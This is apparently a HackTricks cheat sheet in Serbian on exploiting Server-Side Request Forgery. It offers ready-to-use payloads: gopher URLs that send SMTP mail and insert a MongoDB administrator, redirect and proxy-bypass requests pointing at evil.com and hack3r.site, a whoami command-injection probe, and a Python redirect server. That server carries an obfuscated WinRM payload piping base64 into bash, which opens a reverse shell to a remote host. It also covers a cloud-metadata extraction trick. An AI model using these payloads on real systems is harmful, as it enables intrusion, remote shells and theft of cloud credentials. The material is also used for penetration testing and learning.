SSRF (Server Side Request Forgery)

Reading time: 25 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Server-side Request Forgery (SSRF) ranjivost se javlja kada napadač manipuliše server-side aplikacijom da pravi HTTP zahteve ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.

Zabeležite SSRF

Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:

Zaobilaženje dozvoljenih domena

Obično ćete otkriti da SSRF funkcioniše samo u određenim dozvoljenim domenima ili URL-ovima. Na sledećoj stranici imate kompilaciju tehnika za pokušaj zaobilaženja te beleške:

URL Format Bypass

Zaobilaženje putem otvorenog preusmeravanja

Ako je server pravilno zaštićen, mogli biste zaobići sve restrikcije iskorišćavanjem otvorenog preusmeravanja unutar web stranice. Pošto će web stranica dozvoliti SSRF ka istom domenu i verovatno će pratiti preusmeravanja, možete iskoristiti Otvoreno preusmeravanje da naterate server da pristupi unutrašnjem resursu.
Pročitajte više ovde: https://portswigger.net/web-security/ssrf

Protokoli

  • file://
  • URL šema file:// se referencira, ukazujući direktno na /etc/passwd: file:///etc/passwd
  • dict://
  • DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zloćudnim SFTP serverom: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacijama o direktorijumima preko IP mreža. Interakcija sa LDAP serverom na localhost: '%0astats%0aquit' putem ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisuje se metoda za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP uslugama na localhost, uključujući korake za otkrivanje unutrašnjih imena domena i dalja istraživačka delovanja na osnovu tih informacija.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Ako se SSRF izvršava putem curl, curl ima funkciju koja se zove URL globbing koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom writeup-u možete pronaći ovaj primer za path traversal putem file protokola:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Diskutuje se o sposobnosti Gopher protokola da specificira IP, port i bajtove za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payload-a. Ilustrovane su dve različite upotrebe:

Gopher://

Korišćenjem ovog protokola možete specificirati IP, port i bajtove koje želite da server pošalje. Tada možete u suštini iskoristiti SSRF da komunicirate sa bilo kojim TCP serverom (ali prvo morate znati kako da razgovarate sa uslugom).
Na sreću, možete koristiti Gopherus za kreiranje payload-a za nekoliko usluga. Pored toga, remote-method-guesser se može koristiti za kreiranje gopher payload-a za Java RMI usluge.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Povratna veza na 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Kreirajte korisnika sa korisničkim imenom=admin, lozinkom=admin123 i dozvolom=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF putem Referrer header-a i drugih

Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije ranjivostima Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referalnih sajtova. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite dodatak "Collaborator Everywhere", koji koristi način na koji analitički alati obrađuju Referer header za identifikaciju potencijalnih površina napada SSRF.

SSRF putem SNI podataka iz sertifikata

Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost na Server-Side Request Forgery (SSRF), koja se može iskoristiti jednostavnim navođenjem željene IP adrese ili imena domena u SNI polju. Primer eksploatacije za forsiranje veze sa proizvoljnim backend-om, kao što je internal.host.com, koristeći openssl komandu je dat u nastavku:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF sa Command Injection

Možda bi vredelo probati payload kao što je: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderovanje PDF-a

Ako web stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete ubaciti neki JS koji će biti izvršen od strane samog PDF kreatora (servera) prilikom kreiranja PDF-a i moći ćete da zloupotrebite SSRF. Pronađite više informacija ovde.

Od SSRF do DoS

Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove koristeći SSRF iz sesija.

SSRF PHP Funkcije

Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije:

PHP SSRF

SSRF Preusmeravanje na Gopher

Za neka eksploatisanja možda ćete morati da pošaljete odgovor na preusmeravanje (potencijalno da koristite drugi protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Pogrešno konfigurisani proksi za SSRF

Trikovi iz ovog posta.

Flask

Flask proksi ranjivi kod
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask omogućava korišćenje @ kao početnog karaktera, što omogućava da se početno ime hosta postavi kao korisničko ime i da se ubaci novo. Napadni zahtev:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Vulnerabilan kod:

Otkriveno je da je moguće početi putanju zahteva sa karakterom ; što omogućava korišćenje @ i injektovanje novog hosta za pristup. Napadni zahtev:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP ugrađeni web server

Ranljiv PHP kod
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP omogućava korišćenje karaktera * pre kose crte u putanji URL-a, međutim, ima i druga ograničenja kao što su da se može koristiti samo za korenski putanju / i da tačke . nisu dozvoljene pre prve kose crte, tako da je potrebno koristiti IP adresu kodiranu u heksadecimalnom formatu bez tačaka, na primer:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Ako imate problema da izvršite eksfiltraciju sadržaja sa lokalne IP adrese zbog CORS/SOP, DNS Rebidding se može koristiti za zaobilaženje te ograničenja:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese DNS imena napadačkog servera sa IP adresom ciljne mašine i za pružanje napadačkih payload-a za iskorišćavanje ranjivog softvera na ciljnoj mašini.

Pogledajte takođe javni server koji radi na http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Zahtevi:

  • SSRF
  • Outbound TLS sessions
  • Stvari na lokalnim portovima

Napad:

  1. Zatražite od korisnika/bota da pristupi domeni koju kontroliše napadač
  2. TTL DNS-a je 0 sekundi (tako da će žrtva uskoro ponovo proveriti IP domena)
  3. TLS veza se uspostavlja između žrtve i domena napadača. Napadač unosi payload unutar Session ID ili Session Ticket.
  4. Domen će započeti beskonačnu petlju preusmeravanja protiv sebe. Cilj ovoga je da se korisnik/bot ponovo poveže na domen dok ne izvrši ponovo DNS zahtev za domen.
  5. U DNS zahtevu se sada daje privatna IP adresa (127.0.0.1 na primer)
  6. Korisnik/bot će pokušati da ponovo uspostavi TLS vezu i da bi to uradio, poslaće Session ID/Ticket ID (gde je payload napadača bio sadržan). Čestitamo, uspeli ste da zatražite da se korisnik/bot napadne sam.

Napomena: tokom ovog napada, ako želite da napadnete localhost:11211 (memcache), morate naterati žrtvu da uspostavi inicijalnu vezu sa www.attacker.com:11211 (port mora uvek biti isti).
Da izvršite ovaj napad možete koristiti alat: https://github.com/jmdx/TLS-poison/
Za više informacija pogledajte predavanje gde je ovaj napad objašnjen: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Razlika između slepog SSRF-a i neslepog je u tome što u slepom ne možete videti odgovor na SSRF zahtev. Tada je teže iskoristiti jer ćete moći da iskoristite samo dobro poznate ranjivosti.

Time based SSRF

Proverom vremena odgovora sa servera može biti moguće znati da li resurs postoji ili ne (možda je potrebno više vremena za pristupanje postojećem resursu nego za pristupanje onom koji ne postoji)

From blind to full abusing status codes

Prema ovom blog postu, neki slepi SSRF-ovi mogu se desiti jer čak i ako ciljani URL odgovara sa 200 status kodom (kao AWS metapodaci), ovi podaci nisu pravilno formatirani i stoga aplikacija može odbiti da ih prikaže.

Međutim, otkriveno je da slanjem nekih preusmeravajućih odgovora od 305 do 309 u SSRF-u može biti moguće naterati aplikaciju da prati ova preusmeravanja dok ulazi u režim greške koji više neće proveravati format podataka i može ih samo ispisati.

Python server koji se koristi za iskorišćavanje ovoga je sledeći:

python
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Koraci:

  • Prvo 302 pokreće aplikaciju da počne da prati.
  • Zatim prima 305 → 306 → 307 → 308 → 309 → 310.
  • Nakon 5. čudnog koda, PoC konačno vraća 302 → 169.254.169.254 → 200 OK.

Šta se dešava unutar cilja:

  • libcurl sam prati 305–310; samo normalizuje nepoznate kodove na “prati.”
  • Nakon N čudnih preusmeravanja (≥ 5 ovde) aplikacija sama odlučuje da je “nešto čudno” i prelazi u režim greške namenjen debagovanju.
  • U tom režimu ispisuje čitavu lanac preusmeravanja plus konačno telo nazad spoljašnjem pozivaocu.
  • Rezultat: napadač vidi svaki header + metapodatke JSON, misija ostvarena.

Napomena da je ovo zanimljivo za otkrivanje status kodova koje niste mogli otkriti ranije (kao što je 200). Međutim, ako biste nekako mogli da odaberete status kod odgovora (zamislite da možete odlučiti da AWS metapodaci odgovaraju sa 500 status kodom), možda postoje neki status kodovi koji direktno otkrivaju sadržaj odgovora.

Cloud SSRF Eksploatacija

Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak akreditive:

Cloud SSRF

SSRF Ranjive Platforme

Nekoliko poznatih platformi sadrži ili je sadržalo SSRF ranjivosti, proverite ih u:

SSRF Vulnerable Platforms

Alati

SSRFMap

Alat za otkrivanje i eksploataciju SSRF ranjivosti

Gopherus

Ovaj alat generiše Gopher payloads za:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser je Java RMI skener ranjivosti koji podržava operacije napada za većinu uobičajenih Java RMI ranjivosti. Većina dostupnih operacija podržava --ssrf opciju, za generisanje SSRF payloada za traženu operaciju. Zajedno sa --gopher opcijom, spremni za korišćenje gopher payloadi mogu se generisati direktno.

SSRF Proxy

SSRF Proxy je višedretveni HTTP proxy server dizajniran da tuneluje HTTP saobraćaj klijenata kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).

Da vežbate

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks